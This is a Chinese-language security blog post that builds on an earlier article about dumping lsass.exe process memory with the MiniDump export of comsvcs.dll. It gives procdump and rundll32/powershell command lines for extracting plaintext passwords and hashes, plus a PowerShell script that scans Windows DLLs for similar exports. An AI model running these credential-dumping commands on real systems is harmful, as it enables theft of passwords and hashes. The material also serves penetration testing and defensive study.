《MiniDumpWriteDump via COM+ Services DLL》的利用测试
0x00 前言
最近学习了 odzhan 文章中介绍的一个技巧,使用 C:\windows\system32\comsvcs.dll 的导出函数 MiniDump 能够 dump 指定进程的内存文件。
文章地址:https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
本文将要结合自己的经验,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写 powershell 脚本,实现自动化扫描系统目录下所有 dll 的导出函数,查看是否存在其他可用的 dll,介绍脚本实现的细节。
0x01 简介
本文将要介绍以下内容:
- dump 指定进程内存文件的常用方法
- 使用 comsvcs.dll 实现 dump 指定进程内存文件的方法
- 编写脚本实现自动化扫描 dll 的导出函数
- 利用分析
0x02 dump 指定进程内存文件的常用方法
在渗透测试中,最常用的方法是通过 dump 进程 lsass.exe,从中获得明文口令和 hash
在原理上都是使用 API MiniDumpWriteDump,参考资料:https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
常用的实现方法如下:
1.procdump
参数如下:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
2.c++实现
https://github.com/killswitch-GUI/minidump-lib
3.powershell 实现
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
4.c#实现
https://github.com/GhostPack/SharpDump
0x03 使用 comsvcs.dll 实现 dump 指定进程内存文件的方法
odzhan 在文中给出了三种方法
1.通过 rundll32
示例参数如下:
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full
示例中 lsass.exe 的 pid 为 808
注:
此处需要注意权限的问题,在 dump 指定进程内存文件时,需要开启 SeDebugPrivilege 权限
管理员权限的 cmd 下,默认支持 SeDebugPrivilege 权限,但是状态为 Disabled,如下图
所以说,直接在 cmd 下执行 rundll32 的命令尝试 dump 指定进程内存文件时,由于无法开启 SeDebugPrivilege 权限,所以会失败
这里给出我的一个解决方法:
管理员权限的 powershell 下,默认支持 SeDebugPrivilege 权限,并且状态为 Enabled,如下图
所以,这里可以通过 powershell 执行 rundll32 的命令实现,示例命令如下:
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"
2.通过 vbs 实现
原文提供了完整的实现代码
执行的参数如下:
cscript 1.vbs lsass.exe
vbs 脚本首先开启 SeDebugPrivilege 权限,接着执行 rundll32 的命令,测试成功
3.通过 c 实现
原文提供了完整的实现代码
代码先开启 SeDebugPrivilege 权限,再调用 comsvcs.dll 的导出函数 MiniDumpW,测试成功
0x04 编写脚本实现自动化扫描 dll 的导出函数
学习完 odzhan 的文章以后,我产生了一个疑问:
Windows 系统目录下是否存在其他可用的 dll?
于是,我尝试通过脚本对系统目录下所有 dll 的导出函数进行筛选,查看是否包含导出函数 MiniDumpW
脚本实现上需要考虑以下两个问题:
1.遍历指定目录,获取所有 dll
遍历路径 C:\windows 的测试代码如下:
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows' -ErrorAction SilentlyContinue ))
{
$file.PSPath
}
由于存在多级目录,这里需要获得 dll 的绝对路径,而$file.PSPath 的格式为 Microsoft.PowerShell.Core\FileSystem::C:\windows\RtlExUpd.dll
,实际路径需要去除前缀
优化后的代码如下:
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path 'C:\windows' -ErrorAction SilentlyContinue ))
{
$file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}
2.获得指定 dll 的导出函数
这里可以参考 https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
在此基础上进行优化,实现整个流程的自动化处理
完整代码已上传至 GitHub,地址如下:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Get-AllExports.ps1
对 C:\Windows 进行筛选的代码如下:
Import-Module ./Get-AllExports.ps1
$Path = 'C:\Windows'
ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path -ErrorAction SilentlyContinue ))
{
# $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2)
}
测试系统:Win7x64
部分结果:
[+] C:\windows\system32\comsvcs.dll-->MiniDumpW
[+] C:\windows\system32\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\windows\system32\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Syswow64\comsvcs.dll-->MiniDumpW
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\Syswow64\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v2.0.50727\SOS.dll-->minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->MinidumpMode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->Minidumpmode
[+] C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SOS.dll-->minidumpmode
[+] C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\amd64_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_a6821d2940c2bcdc\dbghelp.dll-->MiniDumpWriteDump
[+] C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll-->MiniDumpW
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpReadDumpStream
[+] C:\Windows\winsxs\x86_microsoft-windows-imageanalysis_31bf3856ad364e35_6.1.7601.17514_none_4a6381a588654ba6\dbghelp.dll-->MiniDumpWriteDump
测试结果如下:
1.对于不同结构的进程,可用的 dll 不同
对于 32 位的进程,可以使用 32 位和 64 位的 dll:
- C:\windows\system32\comsvcs.dll
- C:\Windows\Syswow64\comsvcs.dll
- C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
- C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll
对于 64 位的进程,可以使用 64 位的 dll:
- C:\windows\system32\comsvcs.dll
- C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
无法使用 32 位的 dll:
- C:\Windows\Syswow64\comsvcs.dll
- C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll
2.dbghelp.dll 对应 API MiniDumpWriteDump
3.SOS.dll 中的导出函数 minidumpmode
用于防止在使用 minidump 时执行非安全命令。0 表示禁用这个功能,1 表示启用。默认为 0
0x05 利用分析
如果想要 dump 指定进程的内存文件,可以使用新的方法,示例命令如下:
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full"
其中 comsvcs.dll 可以替换为以下 dll:
- C:\Windows\Syswow64\comsvcs.dll
- C:\Windows\winsxs\amd64_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_ceb756d4b98f01a4\comsvcs.dll
- C:\Windows\winsxs\x86_microsoft-windows-c..fe-catsrvut-comsvcs_31bf3856ad364e35_6.1.7600.16385_none_7298bb510131906e\comsvcs.dll
这种方法的优点是不需要上传文件,使用系统默认包含的 dll 就可以实现
0x06 小结
本文在 odzhan 文章的基础上,补充在测试过程中需要注意的地方,扩展方法,分析利用思路。编写 powershell 脚本,实现自动化扫描系统目录下所有 dll 的导出函数。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论